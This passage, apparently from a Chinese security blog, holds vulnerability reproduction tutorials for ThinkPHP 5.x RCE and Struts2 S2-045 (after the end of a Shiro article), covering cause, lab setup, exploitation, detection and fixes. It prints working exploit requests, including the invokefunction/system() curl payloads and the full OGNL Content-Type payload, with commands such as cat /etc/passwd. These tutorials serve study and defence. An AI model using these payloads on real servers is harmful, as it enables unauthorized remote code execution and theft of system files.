四、统一防御与修复

1
2
3
4
5
6


升级 Shiro 到 1.4.2+，关闭 CBC 弱模式
自定义高强度密钥并定期轮换
反序列化加类白名单
WAF 拦截异常长的 rememberMe
监控批量探测行为
修复后复测：550 默认密钥解不出、721 试错被阻断

五、小结

遇到 Shiro，先分 550 还是 721：先试默认密钥（550），解不出再考虑 Padding Oracle（721）。两者编号不同、原理不同、利用成本不同，混为一谈会在实战里浪费时间。

ThinkPHP 5.x RCE 漏洞复现

Sat, 29 Aug 2026 11:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。ThinkPHP 漏洞利用影响真实业务，禁止对非授权目标使用。请先搭建隔离环境。

一、漏洞原理

ThinkPHP 5.x 默认支持“魔术路由”，允许通过 URL 直接调用类方法。攻击者利用这一点，把 URL 参数构造成函数回调链。

核心原理：

1
2
3


1. 路由解析：?s=/index/\think\app/invokefunction
2. 触发调用：invokefunction → call_user_func_array
3. 参数可控：vars 参数里传函数名和参数

漏洞本质：框架默认路由把不可信输入变成了函数调用链，属于典型的“输入进入执行流程”。

影响版本：

1
2


ThinkPHP 5.0.x（5.0.23 及之前）
ThinkPHP 5.1.x（部分版本）

二、漏洞影响与危害

无需登录、无需认证，直接通过 GET 请求执行系统命令：

1
2
3
4


服务器命令执行（RCE）
读取/篡改源码与配置文件
反弹 Shell、植入后门
横向打内网

风险等级：严重。ThinkPHP 在国内使用量极大，是实战中命中率最高的框架漏洞之一。

三、漏洞利用 / 复现

环境准备

1

docker run -d -p 8081:80 --name tp5 medicean/vulapps:t_thinkphp_5.0.23

访问 http://127.0.0.1:8081/ 确认页面正常。

5.0.23 利用

1

curl -g 'http://127.0.0.1:8081/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'

返回结果里能看到 uid=www-data 之类输出，说明命令已执行。

换命令：

1
2


vars[0]=system&vars[1][]=whoami
vars[0]=system&vars[1][]=cat /etc/passwd

5.1.x 利用

1

curl -g 'http://127.0.0.1:8081/index.php?s=index/\think\Request/input&filter[]=system&data=id'

5.1.x 通常需要开启 debug 才有回显，但命令已执行，可用 DNSLog 或写入文件验证。

四、漏洞检测

1
2
3
4


日志中找 /think/、invokefunction、call_user_func_array、filter[] 关键字
找异常的大写类名路径
GET/POST 参数中出现 vars、data、filter 数组
指纹确认 ThinkPHP 版本

五、漏洞防御

1
2
3
4


关闭 debug，生产环境隐藏错误回显
WAF 拦截 /think/ 与 call_user_func_array
不使用默认魔术路由，显式定义路由
限制请求参数类型与长度

六、漏洞修复

1
2
3
4


升级到 ThinkPHP 5.1.41+ 或 6.x
升级后回归路由与参数校验
关闭不必要的方法调用能力
对历史代码做一次参数审计

修复后用原 payload 复测确认失效。

七、小结

ThinkPHP RCE 代表了“框架默认路由 + 可控参数”这一类问题。渗透时框架版本识别决定利用链；防御端要“升级 + 关闭调试 + 收敛路由”一起做，缺一不可。

Struts2 S2-045 漏洞复现

Sat, 29 Aug 2026 11:00:00 +0800

写在前面：合法学习边界

本文复现只在本机 Docker 靶场进行。Struts2 漏洞利用可能触犯法律，禁止对真实目标使用。请先搭建隔离的靶机环境。

一、漏洞原理

S2-045 是 Apache Struts2 处理 Content-Type 头时的 OGNL 表达式注入漏洞。

成因链路：

1
2
3


1. 请求头 Content-Type 被传给上传组件解析
2. 组件在解析失败时，把错误信息拼进 OGNL 表达式
3. OGNL 表达式被当作代码执行

漏洞本质：不可信输入（Content-Type）进入了表达式解析流程，被当成了代码而不是数据。

影响版本：

1
2


Struts2 2.3.5 – 2.3.31
Struts2 2.5 – 2.5.10

二、漏洞影响与危害

攻击者无需认证，只要发送一个恶意 Content-Type 头就能：

1
2
3
4


在服务器上执行任意系统命令（RCE）
读取敏感文件
横向渗透内网
配合内网漏洞提权

风险等级：严重（CVSS 10.0）。这是可以直接拿到服务器控制权的漏洞，也是早期护网和红队的高频入口。

三、漏洞利用 / 复现

环境准备

1

docker run -d -p 8080:8080 --name s2-045 xlfe/s2-045

访问 http://127.0.0.1:8080/ 确认靶场正常返回上传页面。

验证漏洞

1
2


curl -i -X POST http://127.0.0.1:8080/doUpload \
 -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

如果响应里出现命令执行结果（如 uid=0(root)），说明漏洞存在。

利用要点

把 Payload 里的 #cmd='id' 换成要执行的命令：

1
2
3


#cmd='whoami'
#cmd='cat /etc/passwd'
#cmd='id && whoami'

常见失败原因：

1
2
3
4


前面有 WAF 拦截
目标不是 multipart 上传接口
目标版本已修复
Content-Type 被转义或长度限制

四、漏洞检测

1
2
3
4


抓请求，看 Content-Type 是否异常长、是否含 %{ 或 OGNL 关键字
查 Web 日志中大量 /doUpload 与 500 错误
看响应是否返回非业务内容（命令输出特征）
用 Nmap/指纹确认 Struts2 版本

五、漏洞防御

1
2
3
4


上传接口单独加固、限制大小
WAF 拦截 Content-Type 中的 %{ 与 OGNL 关键字
对 OGNL 相关关键字做统一过滤
监控异常响应与异常请求体

六、漏洞修复

1
2
3
4


升级 Struts2 到 2.5.10.1 及以上（最根本）
确认 Maven/依赖里所有 Struts2 版本一致
升级后回归上传功能
禁止内网继续使用老版本中间件

修复后建议用同款 payload 复测，确认命令不再被执行。

七、小结

S2-045 的教训：框架版本必须及时更新；任何把用户可控头拼进表达式解析的组件都可能成为 RCE 入口。同时记住，识别框架版本是信息收集的关键，因为它直接决定了利用链。